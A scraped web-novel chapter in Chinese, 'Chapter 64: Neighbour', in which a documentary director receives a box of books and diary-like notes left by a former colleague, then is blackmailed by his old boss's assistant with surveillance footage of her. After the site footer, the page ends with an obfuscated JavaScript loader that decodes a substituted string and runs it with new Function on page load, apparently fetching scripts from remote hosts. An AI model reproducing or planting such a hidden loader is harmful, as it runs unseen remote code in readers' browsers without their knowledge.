首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第六十四章「邻居」

    第六十四章「邻居」(第1/2页)
    王维·《竹里馆》
    独坐幽篁里,弹琴复长啸。
    深林人不知,明月来相照。
    ——苏眠没弹琴,她把十年光阴夹进书里,藏进隔壁人家。她知道深林无人知,还是留了盏月亮给那个瞎子。
    楼道里的声控灯最后亮那一次,把中年女人的脸照得像张褪黄的旧照片,眉眼模糊在光影里。顾明远侧身让开道,钥匙串叮当声擦着他羽绒服袖口过去,带起一点冰凉的风。女人没立刻开门,先拿眼角又剜他一下,目光里带着警惕和掂量,像确认这人会不会跟进去抢东西。
    “找苏眠啊?”她又问一遍,声音在空旷楼道里拔高了些,仿佛在给自己壮胆。
    “以前同事。”顾明远说,报了个很旧的身份,“出版社的。”
    这词好像过了关,成为某种简易的通行证。
    女人“噢”了一声,钥匙插进锁孔,拧了两圈,铁链子哗啦一声被摘下来。门推开条缝,她先伸头往里望:“猫,别往外窜。”
    一股热烘烘的炖肉味混着廉价花露水味,浓烈而扎实地扑出来,顶得楼道里那股潮湿的霉味往后一缩。
    “进来吧,箱子沉。”女人把门彻底推开,侧身让出过道。
    顾明远没动。
    他很少进陌生人家里,尤其陌生女人的家。门里是另一种生活:鞋柜上堆着旧报纸,挂钩挂着两条花纹模糊的围裙,一只橘猫趴沙发扶手上,尾巴尖一勾一勾。电视开着,静了音,屏幕里正播着抗日剧,底下无声地滚动着字幕。这屋子有烟灰缸,有药盒,有菜篮子,全是“过日子”的实在痕迹,和他那四合院里蒙尘的空钢琴、老宅里堆放的玉米秆子,不是一种东西。
    “站门口当门神啊?”女人把一把芹菜扔进水槽,甩了甩手上的水珠,“那箱子我搁阳台了,她搬走那天特意说——‘王姐,要是有个傻站着不说话的男的来找,就给他’。”
    顾明远抬脚。
    鞋底在门垫上蹭了两下,蹭掉一点并不存在的灰,才走了进去。
    阳台狭小,堆着几捆葱和几个空矿泉水瓶。那只纸箱真的在那儿,靠着暖气片放着,半新不旧,封口的透明胶带歪歪斜斜贴了个“十”字。透过胶带,能看见底下“人民邮电出版社”旧书单露出的几个铅字。箱子不大,比搬家用的纸箱要小,尺寸仿佛被特意挑拣过,像是只能装下有限的东西,装不下太多的伤心。
    “她啥也没多说,就留了这个。”王姐靠着厨房门框,抱着胳膊看他,“苏老师人挺文静,搬那天就一个拉杆箱,这个箱子她说‘别扔,有人要’。我还笑她,现在谁还收纸箱子啊,得,还真来了。”
    顾明远蹲下身。
    手指先触碰胶带边缘,没有立刻撕开,而是摸了摸箱壁。纸板有些硬,带着一点被暖气烘过后散出来的微潮的温气。他脑子里闪过苏眠的样子:她打包时是不是也这样蹲着,是不是轻轻叹了口气,是不是听见王姐问“给谁的”时,手顿了一下,然后低声说“不重要的”。
    “她……搬走那天,几点走的?”他问,嗓子有点干。
    “下午,天还亮着。俩月前吧,天还热,我穿的这身睡裙。”王姐比划了一下,“那天怪,她平时出门都收拾利利索索,那天戴了个大口罩,帽子扣在头上,拉着箱子就走了。我喊‘苏老师慢走’,她回头点了下头——眼圈红得跟兔子似的。”
    王姐往前凑了半步,压低了声音:“就前一天,那男的来过。我搁厨房洗菜,听见门铃响,苏老师开的门。男的四十来岁,穿西装,戴金丝边眼镜,头发抹得油亮。笑呵呵的,‘小苏,聊聊’,苏老师脸‘唰’一下就白了,手攥着门把,指节都攥青了。进屋没十分钟,我听见苏老师的声音,压着嗓子,像哭又像求,‘您别这样’……后来那男的先出来,还冲我笑了笑,‘王姐做饭呢’,我假笑着,心里骂:笑里藏刀的逼样。”
    顾明远指尖抠进了胶带边。
    指甲劈了一点,没觉得疼。
    “眼镜男开辆黑奥迪走的,车牌挺牛,京A8开头?我瞅见倒车镜反光。后来苏老师就没怎么笑过了。”
    他没接话,拇指用力一掀,胶带发出“吱啦”一声脆响,被撕开了。
    纸箱没盖严,掀开箱盖,满眼都是书脊。
    全是他的书。
    《大河纪事》初版,封面是浑浊的黄河黄;《民间影像志》合订本;甚至还有一本2009年的《中国电视》杂志,他一篇访谈占了整整十二页。
    一本本,整整齐齐地码着,像她为他建的一座无声的衣冠冢。
    “行啊,这姑娘真是铁粉。”王姐探头看了看,感慨道,“书都给你留着,人却走了。”
    顾明远把书一本本往外拿。
    书不重,但手却往下坠。他抱着这一摞书下到楼下,没回酒店,也没去公园的石桌,就在单元门外那棵老槐树的树根上坐了。树坑里铺着些鹅卵石,硌着屁股,他也不管。
    他先抽最上面这本:《纪录片的美学与社会责任》,十年前出版的论文集,封面早就磨白了,定价二十八块。翻开,里面没夹书签,翻到中间时,掉出一张电影票根——2015年《大河》重映场的,单号,孤零零的一张。
    再下一本……一本,《倦鸟知返》的同名随笔集,扉页留有他亲笔的签赠,墨迹清晰:“苏眠指正——顾明远2019.3”。书页间还夹着一张便签,是那种淡蓝色的纸,用圆珠笔写着:2019.3.18他说“拍到后来,拍的是自己愧疚”。我那天在台下记笔记,笔芯却突然断了。
    他捏着那张便签,纸张很薄,仿佛能透风。
    他继续一本本翻下去,像是在翻阅她偷偷记录下的日记。那并非书评,而是一段段具体的日子:
    2014.10.17学校礼堂,他穿着灰色毛衣。他说“纪录片是时间的证人,别怕慢”。那年我大一,本来正想退学,听完这话,便没再退。
    2016.7.9暴雨天,他发朋友圈说机器泡水了。我后来给他寄去一个防潮箱,他没回复,但我确实寄了。
    2018年冬天看了《冬捕》的粗剪版,他剪掉了老渔民哭泣的镜头,说“不消费苦难”。我信他这个做法。
    2021年9月他登上热搜那天,我关掉了手机。窗台上养的风信子,也恰好在那时枯死了。
    日期越往后,字迹越短,笔触也越轻。
    像一个人慢慢从火焰中退出来,最后只剩下灰烬。
    他的手停在一本最旧的书上——灰蓝色的封面,没有塑封,边角已卷起波浪般的弧度。就是那本《纪录片的美学与社会责任》,出版社库存清仓时买到的版本。
    翻开扉页,上面没有签赠,却夹着一张对折过的A4纸,展开来,是当年讲座门票的存根,上面的打印字迹已经模糊不清。
    这张便签是米白色的,质地比其他的更柔软。字写得满满当当,笔尖划过纸面,显得很有力道:
    2014.10.17。他站在台上,灯光从顶上打下来,睫毛的影子落在脸颊上。他说:“纪录片是时间的证人。”底下有人笑了,说这话太文艺。我没笑。我信了。所以后来他形象崩塌时,我骂过他,我也写书谈论过,但我其实等了十年。等一个证人回来,重新辨认这些字句。
    ——眠
    纸张的右下角,洇开了一小片痕迹。
    不是墨水。是水渍,圆圆地晕开,干透后成了浅黄色的圈,边缘毛毛糙糙的,形状真像一片叶子,悬在那个句号的上方。
    他用指腹蹭了一下,纸面粗糙,已没有任何湿润的感觉。是泪。干了很久的泪。
    风刮过槐树光秃的枝桠,“咔哒”一声响。
    顾明远把脸埋进围巾里。
    他没有哭,只是在强忍着。胸口那块东西,从赵鹏程办公室就开始凝结的冰坨子,仿佛被这滴干透的泪叶砸出了一条裂缝,冰碴子混着水气往上顶,顶得喉咙阵阵发腥。
    他想起了那晚在老宅收藏小鹿视频的情景,那个黄色的五角星标记亮着。而现在,他怀里抱着一箱星星,破碎的,纸做的。
    苏眠没有骂他是骗子。她只是把“2014.10.17”这个日期钉进了书里,等待他有一天自己撞见。
    纸箱底部还压着一张拍立得相片。
    已经褪色了,蓝调的背景偏黄。照片里是黄河边,他举着摄像机笑着,牙齿很白。苏眠在镜头外伸手比了个耶,只拍进半截衣袖。背面用铅笔写着:第一次跟组,他给我烤了土豆,咸死了。
    他把拍立得重新夹回书的扉页,将书合上,抱在怀里。
    王姐从楼上的窗户探出头来喊:“哎——那位先生,书可拿好了啊!”
    他抬起头:“……谢谢王姐。”
    “谢啥,苏老师早交代过你要来,特意留着的。”王姐摆摆手,“那个戴眼镜的男的要是再来,我就骂他滚蛋。”
    他抱着箱子往前走。
    没有打车,只是顺着老小区外面那条狭窄的柏油路慢慢走。阳光已经偏西,像金粉似的撒下来,把灰色楼房的墙皮照得微微发亮。他眯起眼睛,光线刺得泪腺发酸。
    怀里的纸箱沉甸甸的,比一摞砖头还重。
    其实并非真的沉,而是箱面上那道洇开的泪渍,洇出了一股压在心上的分量。
    顾明远抱着它走出单元门时,正午稍偏西的太阳正从老槐树光秃秃的枝杈缝隙里漏下来,一道道金针似的,刺得人睁不开眼。他眯起眼睛,下意识往街对面侧让了半步,既怕那晃眼的光,也怕一阵风来,就把怀里那点苏眠积攒了十年的纸灰给吹散了。
    然后,他看见了那辆车。
    黑色奥迪A8L,贴着深色的隐形车衣,车尾嚣张地压在禁停的黄线里。
    前后都没见罚单,旁边的交警岗亭玻璃反着光,仿佛默许了它就该停在这儿。
    车牌他是认得的:京A·8X778。上个礼拜,他去电影资料馆看老片重映,刚出地铁口就见过这个尾号,那时它也是这样慢悠悠地贴着他滑行,像一条熟门熟路的狗。
    (本章未完,请点击下一页继续阅读)第六十四章「邻居」(第2/2页)
    车窗无声地降下半截——电动的,丝滑得没有一点声响。
    后座的人影先露出半扇肩膀,藏蓝色的西装,没系扣子,里面是件马甲。那是赵鹏程早年带他去见领导时兴起的穿法。脸没有完全露出来,只有镜腿闪过一道钛金属的细边冷光。
    人没下车。车停着,人坐着,窗开着条缝,姿态如同在验看一件货物。
    顾明远没有动。
    斑马线的红灯亮着,人潮在他身后拥堵着,电动车的铃铛不耐地催促,外卖小哥绕开他疾驰而过,车轮溅起点点融雪的泥浆,扑在他裤脚上。
    他像一块立在湍流中的礁石,怀里紧紧抱着的,是礁石上那层湿冷的、仅存的苔藓。
    副驾驶的门“嘀”地响了一声,解锁了。助理小秦探出半边身子,口罩拉到了下巴颏,眼尾堆出殷勤的笑纹:“顾导,车里坐?外头冷。”声音不高,客气得如同约人喝茶。
    顾明远走了过去。柏油路面被太阳烘得发烫,鞋底太薄,能清晰地感觉到沥青微微发软的黏腻感。
    他走到后车门边,没有伸手去拉门把,只是低着头站着。车里的冷气丝丝缕缕地往外冒,混着一股车载香薰的雪松味——和赵鹏程办公室里那股味道一模一样,那是金钱发酵出来的、带着距离感的味道。
    小秦从后座伸出手,掌心托着一样东西:一台深空灰色的iPadPro,套着鳄鱼纹的皮套。
    “赵总让我给您看个东西。就两分钟。”
    顾明远接了过来。
    屏幕是黑的,手指碰了一下才亮起。
    小秦没有去点播放键,显然是早就设置好了自动播放。顾明远刚拿稳,画面便自己跳了出来。
    广角镜头,监控的画质。画面边缘有些畸变和拉伸。
    背景是赵鹏程办公室里那面巨大的书墙,角落里的地球仪泛着冷光。画面中央,苏眠坐在那张小沙发上——正是顾明远刚才坐过的那张。她穿着一件洗得有些薄的米白色毛衣,头发一半扎起一半散落,脸颊瘦得小了一圈,下巴尖得吓人。
    她没有哭出声,但眼睛是肿的,嘴唇抿成了一道失去血色的白线。
    镜头没有录下声音,屏幕底部跳出一行白色的字幕(显然是后期加上去的,赵鹏程惯用的手法):
    【苏小姐,书卖得不错,但有些东西,不适合写进书里。】
    随后,赵鹏程入了画。
    他从画面右侧走进来,站在苏眠身后,手很自然地搭在她左肩上,轻轻拍了两下。
    那姿态像个长辈,像个导演,像什么都像,就是不像清白。
    苏眠的肩膀肉眼可见地僵住了,她没有躲,也没有缩,就那么硬挺着。赵鹏程俯身凑近她耳边,嘴型在动,手顺着她的肩膀往下滑了半寸,停在臂弯处,虚虚地圈着。
    视频只有十五秒。然后开始循环。
    搭肩——拍两下——俯身——苏眠抬手抹眼睛——赵鹏程笑(监控画面里,他的牙齿反着光)。
    顾明远的指关节顶进了iPad保护壳的缝隙里,塑料发出轻微的“咯吱”声。
    他想起王姐形容赵鹏程是“笑里藏刀的逼样”,现在他看见了。那不是刀,是一把裹着天鹅绒的铡刀。
    “日期是两周前。”小秦在旁边适时地开口,语气平淡得像在播报天气,“苏小姐来谈撤诉的事。赵总挺客气,留她坐了半小时。不过……我们这儿还存着些原始素材的备份,是她早年实习期给咱们写内参稿时留下的,里头点名提到过几位女艺人的私德问题。事儿不大,放在现在,可就是引发网暴的好引子了。”
    他顿了一下,补上关键的一刀:“她的书刚上畅销榜,您也知道,网友最爱扒旧坟。”
    顾明远没有抬头。
    视频又播完了一遍。到第三遍时,他忽然看清了苏眠脚边——地毯上掉着一根皮筋,就是她平时用来扎头发的那种,透明的,粗的。视频里的她,没有去捡。
    “赵总说了,”小秦掏出一张湿巾,慢条斯理地擦着手,“苏小姐书好,人也好,别为这点小事毁了前程。您要是肯回来,把《大国工匠》挂个总顾问的名,等片子剪完,我们就把那些素材撤掉。公平交易。”
    顾明远把iPad举了起来。小秦的眼皮抬了一下,没拦。
    下一秒,iPad脱手而出,砸向滚烫的柏油路面。
    “啪——哐啷——!”
    后盖先着地,屏幕炸开蛛网般的裂痕,碎片崩出去半米远,一颗细小的螺丝钉滚进了下水道的栅栏缝里。
    漆黑的屏幕里,还顽强地亮着最后一帧画面:赵鹏程搭着苏眠肩膀、面带笑容的脸,被无数裂痕分割得支离破碎。
    裂痕将屏幕切割成几十块不规则的碎片,每块碎玻璃里都映着一只扭曲变形的眼睛,画面重叠错位,像置身于一座冰冷的哈哈镜迷宫。风彻底停了。
    于是被短暂隔绝的外界声响又重新涌了回来:外卖电动车急促的嗡鸣、胡同口棋摊的争执与哄笑、还有远处洒水车循环播放的、甜腻过时的流行歌曲。
    小秦低下头,看着脚边那摊已成废铁的iPad,脸上既没有露出心疼的神色,也没有浮现胜利者的笑意。
    他只是平静地从西装内袋里掏出一个黑绒布小袋,手腕一抖,倒出一个U盘。那U盘是黑色金属外壳,仅有指甲盖大小,上面挂着一个米粒般微小的“PC影业”金属标识。顾明远一眼就认出来了,这和老周当年在片场递给他的那支粉色U盘——里面装着徒弟小鹿的毕业答辩资料——用的是完全一模一样的模具,只不过一冷一暖,对比鲜明。
    “完整版。”小秦把U盘轻轻放在车门槛的黑色胶条上,并没有直接递过去,语气平淡得像在陈述事实,“赵总说,您摔东西的习惯,他清楚。不过这东西已经云端同步了,您就算把它砸成粉末,也没什么用处。”他的指尖在那冰冷的金属外壳上点了点,补充道:“您要是肯配合,它就会永远锁在保险箱里。您要是还坚持己见,它自己就会‘飞’到某个微博小号上。”
    顾明远的视线死死钉在那个U盘上。
    午后的阳光斜射过来,在光滑的金属表面反射出一点刺目的亮斑。这光斑猛地刺了他一下,让他忽然想起老周在村口土路边说的那句话——“我想看看你还能不能拍出热的东西”。
    所谓热的东西,现在正躺在这冰凉的车门槛上,像一块拒绝融化的寒冰。
    他弯下腰。但目标并不是去捡那个U盘,而是伸手将地上iPad的残骸往旁边拨弄了一下。锋利的碎片边缘瞬间划破了他的虎口,一颗米粒大小的血珠迅速渗出、滚落,他看也没看,任其沾染。
    那只带血的手径直探过去,捏起了那枚黑色的U盘。
    小秦的眉毛极其轻微地向上挑了大约半毫米,几乎是个难以捕捉的微表情。
    顾明远捏着U盘,将它举到与车窗平齐的高度。车内的赵鹏程依旧保持着原有的姿势,没有任何动作,只有镜片在光线变化下微微抬了一下。然后,顾明远松开了手指。U盘垂直落下,“嗒”的一声轻响,没有掉在地上,而是准确地卡在了车门槛与车身之间的缝隙里。
    “告诉他,”顾明远开口,嗓子沙哑,但每个字都吐得异常清晰,“苏眠那件事,他要是敢往外漏半句,下次我摔的,可就不只是个iPad了。”
    小秦的嘴角终于向上牵动,露出一个标准的职业化微笑:“顾导,您还是这个脾气。行,您的话,我一定带到。”
    车窗开始缓缓上升。深色的玻璃无声地向上爬升,先遮住了赵鹏程的肩膀,继而掩住了他的嘴唇,最后只剩下一副镜片的模糊反光,随即,那点反光也彻底熄灭,被隔绝在私密的车厢之内。
    黑色的奥迪没有鸣笛,直接挂入D挡,以近乎怠速的缓慢速度“蠕行”着滑出黄色禁停线,平稳地汇入主干道的车流。在后视镜迅速缩小的视野里,顾鹏程的身影在后座上似乎轻微地晃动了一下,旋即被车厢的阴影吞没,仿佛沉入了深不见底的水中。
    顾明远独自站在路边,抬起手,虎口渗出的鲜血在不经意间蹭到了旁边堆放的纸箱侧边,留下一个殷红的圆点。
    他弯腰抱起那个纸箱,转身往回走——不是去追那辆远去的车,而是朝着胡同的深处走去。
    他得回一趟四合院。
    回去做什么?拿东西?还是去拿点别的什么,甚至像去“拿命”?他自己也不知道。
    那座四合院藏在帽儿胡同的最深处。
    他已经有半年没在这里正经住过了,期间只回来取过一次护照。院墙外那棵著名的歪脖枣树还在,枯硬的枝杈执拗地指向灰蒙蒙的天空。
    树下,两位穿着厚外套的大爷正坐在马扎上对弈,见他抱着箱子走近,其中一位抬起眼皮瞥了他一眼,随口道:“小顾?你院里锁着呢。不过你媳妇今儿上午来过一趟,门好像没给锁死。”
    顾明远脚步一顿:“我媳妇?”
    “沈老师啊,弹钢琴的那位。下午那会儿拎着个包进去的,待了大概半个钟头,走的时候门没锁。”大爷说完,注意力又回到了棋盘上。
    他低低“嗯”了一声,没再多问。
    手习惯性地伸向口袋掏钥匙,其实并不需要,院门只是虚掩着,一阵风吹过,老旧的木门便发出“吱呀”一声轻响。他推门走进去,脚下首先踩到了一片干枯卷曲的枣树叶。
    天色正擦黑,暮色如同掺了灰的薄纱,一层层往这座小院里笼罩下来。
    屋子里没有开灯,但客厅的玻璃门内却透出一点微弱的光亮——不是电灯的光,也并非蜡烛;仔细看,是一部手机支在茶几上,开启了手电筒功能,形成一小圈孤零零的光域。光圈里,静静坐着一个人。

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();